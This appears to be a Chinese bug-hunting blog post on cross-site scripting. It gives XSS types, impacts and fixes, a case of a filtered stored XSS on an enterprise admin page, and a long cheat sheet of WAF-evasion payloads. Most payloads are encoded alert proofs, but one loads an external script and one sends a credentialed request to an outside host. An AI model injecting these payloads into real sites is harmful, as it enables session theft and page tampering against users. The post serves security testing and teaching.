基础
原理
攻击者嵌入恶意脚本代码到用户会访问到的页面中,用户访问该页面的时候,就会直接执行恶意的js代码
当浏览器解析html的时候遇到
类型
反射型:触发点在url参数里面,提交数据到服务器,服务器会返回给浏览器,需要手动发给用户,用户点击之后触发js代码
存储型:提交的恶意代码存储在数据库里面,只要用户访问就可以执行恶意代码
dom型:特殊的反射型xss,并没有经过服务器的处理写到了页面里,典型的就是jquery-xss
self-xss:只有自己才能看到的xss
危害
1.只要js代码能做的事xss就可以做到,最常见的就是盗取cookie或者窃取敏感信息
2.进行网页挂马,篡改网页页面
3.网络钓鱼,诱骗用户访问你的钓鱼页面
4.权限维持,记录后台登录的账户密码
5.配合浏览器漏洞进行rce
6.搭配其他漏洞组合拳,例如ssrf配合反射型xss进行命令执行
修复方案
1.对用户输入的数据进行过滤,过滤掉特殊字符和HTML标签等。可以使用一些开源的输入过滤库,如HTML Purifier。
2.输出转义:对Web应用程序的输出进行转义,将一些特殊字符转换为HTML实体,如将<转换为<,将>转换为>
3.禁止事件属性,限制输入长度
4.HttpOnly和Secure标记
挖掘思路
出现的位置
只要输入的地方就可能会有xss,一些get型的接口接受的参数也可能输出在前端
不输出在前端也有可能有xss,例如留言功能,可直接盗取管理员cookie
富文本编辑器:常见的位置就公告、活动、邮件处
上传:对于一些可以上传pdf、html、svg、gif文件的地方也有可能存在xss
不止文件内容,如果一个地方引用了某个文件的名字类似于这种,只要输出在前端的并且我们可控都可以去尝试尝试(很早之前遇到过,暂时没有截图)
测试思路
首先我会先随便输几个字符查看下在前端哪个位置,观察旁边都是啥内容
大概率需要闭合双引号、标签啥的,看看输出有没有转义可不可以绕过
然后就是绕waf了,一搬去找到一个可以用的标签,然后看看是否支持伪协议,然后去跑一遍事件属性,fuzz一下哪些可以用
w3school的事件属性:(不是全部)https://www.w3school.com.cn/tags/html\_ref\_eventattributes.asp
href,lowsrc,bgsound,background,action,dynsrc这些属性支持伪协议
案例
文本编辑器中的xss
在本人测试中遇到的文本编辑器百分之90都存在xss,这种测试不要影响真实用户,尽量用自己账户做验证,选择接受人为自己,发送邮件
抓包直接插个payload看看
点开邮件直接弹窗
有过滤的存储型xss
某企业管理后台页面
这里先随便打个payload看看怎么个事
直接404了,肯定有过滤
先随便输入个字符抓个包
换个payload试试
先挨个检查哪部分被拦截了,这里尖括号直接被拦截了
可以直接fuzz标签事件,不过尖括号就比较麻烦了,很多编码他不会拦截也不会解析,只能再返回前端看一下,这里经过测试发现Unicode编码后不会被拦截并可以被解析成尖括号
结果前端没找到,天都塌了
还有个字段是标题,本来不报有希望了,顺手看了一下结果有意外惊喜,这里右键点击以html格式修改发现输出的尖括号并没有做转义
先打个双引号进去
输出也没做处理
再构造一下payload
这里把后面的字符随便改成点正常的字符,哪里有过滤绕哪里,我是先去跑了一遍标签,还是有很多可以用的,然后就是事件属性,直接去跑一遍,找到一些可以用的事件,最后就是绕过alert(1)了
最终payload为
\"\u003cinput/onfocus=_=confirm,_(123)\u003e
成功解析
成功弹窗
绕过思路
字符替换
单引号和双引号替换反引号等等
alert替换为confirm、prompt、console.log、document.write
空格替换为换行符、/**/、/ 加一些%0a%0d
*/alert/*
括号被过滤
<img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">
根据服务器特性进行双写大小写编码之类的
还可以引入外部的js地址
<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'
各种编码
浏览器解码顺序为HTML解码 -> URL解码 -> js(unicode)解码
HTML、js、进制编码
<img src=x onerror = javascript:alert(111)>
<a href=javascript:alert(1)>Click</a>
<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
uniode编码
<为\u003c >为\u003e(这里并不能直接替换标签中的尖括号,需要服务器先解析才可以)
<还可以为\x3c >为\x3e
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
组和
<iframe src=javascript:alert(1)>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script>
jsfuck和AAencode
变异js代码(会非常长)
http://www.hiencode.com/aaencode.html
函数
String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41) 返回UTF-16组成的字符串 解码后为alert(1)
atob('YWxlcnQoMSk=') atob函数为解码base64字符串 解码后为alert(1)
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
base64编码
<object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a
加入特殊字符混淆(和编码结合)
<img src="javascript:alert(/xss/);">
<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>
<a href=javascript:eval("alert(111);var x=new XMLHttpRequest();x.open('GET','https://icsl.mobius.com/index/1525029829840748545/1',true);x.withCredentials=true;x.send();var d=x.responseText;alert(d);")>99999999</a>
<a href=ja
vascript:k='',a=!k+k,f=!a+k,g=k+{},kk=a[k++],ka=a[kf=k],kg=++kf+k,ak=g[kf+kg],a[ak+=g[k]+(a.f+g)[k]+f[kg]+kk+ka+a[kf]+ak+kk+g[k]+ka][ak](f[k]+f[kf]+a[kg]+ka+kk+"(k)")()> 1111";//</title>
<iframe src=javasc
ript:alert(1)></iframe>
字符拼接
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<img src="x" onerror="frames[`al`+`ert`](1)">
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
payload平台:https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
比较杂的:https://www.ddosi.org/xss-bypass/#%E6%B2%A1%E6%9C%89%E8%BF%87%E6%BB%A4%E5%99%A8%E8%A7%84%E9%81%BF%E7%9A%84%E5%9F%BA%E6%9C%AC_XSS_%E6%B5%8B%E8%AF%95
个人常用
常用标签
<a
<img
<svg
<iframe
<input
<body
<META
<form
也可以自己构造html标签
alert1变异
(alert)(1)
a=alert,a(1)
alert(String.fromCharCode(49))
[1].find(alert)
window['al'+'ert'](/xss/)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
aler\u0074(String.fr\u006fmCharC\u006fde(49))
al\u0065rt(1)
top['al\145rt'](1)
top[8680439..toString(30)](1)
eval(atob('YWxlcnQoMSk='))
"top['ale'+'rt'].call(null,'xss')"
alert(2)
top['al\x65rt'](1)
[43804..toString(36)].some(confirm)
window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029"
个人常用payload
<img src=x onerror=alert(1)>
<img src="x" onerror="window['al'+'ert'](1)">
<svg onload=alert(1)>
<form id='test'></form><button form='test' formaction='javascript:alert(1)'>X</button>
<a href=javascript:[1].find(alert)>xss</a>
<img src=x onerror = javascript:alert(111)>
<iframe src=javascript:[1].find(alert)></iframe>
<xmp onmousemove="alert(1)">test</xmp>
<form id="test"></form><button form="test" formaction="javascript:prompt(xss)">X</button>
<x onmouseover="top['ale'+'rt'].call(null,'xss')">test
<img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
<input/onfocus=_=alert,_(123)>
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>
<input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`>
<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
<details open ontoggle=[43804..toString(36)].some(confirm)>
<object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<table><caption onclick=aler\u0074(String.fr\u006fmCharC\u006fde(49))>Click me
加交流群或者知识星球(199)可以私我
大佬莫喷,主要发布一些实战挖洞记录、比较精品的内容